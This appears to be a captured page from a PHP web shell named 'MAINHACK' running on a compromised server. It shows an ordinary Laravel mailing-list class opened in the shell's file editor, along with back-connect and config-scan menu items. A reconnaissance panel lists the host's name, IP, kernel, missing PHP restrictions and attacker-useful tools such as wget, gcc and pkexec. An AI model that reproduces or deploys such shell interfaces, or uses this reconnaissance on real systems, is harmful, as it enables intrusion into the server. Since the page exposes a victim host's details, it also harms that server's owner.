[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AcceptedEstimate.php
<?php namespace App\Mailinglists; use App\Models\User; class AcceptedEstimate { /** * The leads repository instance. */ protected $user; protected $notification_type; /** * Inject dependecies */ public function __construct(User $users) { $this->user = $users; } /** * Which team members will receive emails for events on any estimate. * The following members will get emails: * - have role permission : 'role_estimates' > 0 * - have notification preference : 'notifications_billing_activity' == 'yes_email' * @param string notification_type [email|notification] * @return object */ public function build($notification_type='') { //start query $query = $this->user->newQuery(); $query->where('type', '=', 'team'); //with roles $query->with([ 'role', ]); //get the users $users = $query->get(); //check every users permissions and email preference settings if ($notification_type == 'email') { foreach ($users as $key => $user) { if ($user->role->role_estimates == 0 || !in_array($user->notifications_billing_activity, ['yes_email'])) { //drop user $users->forget($key); } } //return user return $users; } //check every users permissions and email preference settings if ($notification_type == 'notification' || $notification_type == 'both') { foreach ($users as $key => $user) { if ($user->role->role_estimates == 0 || !in_array($user->notifications_billing_activity, ['yes', 'yes_email'])) { //drop user $users->forget($key); } } //return user return $users; } //no valid users return []; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002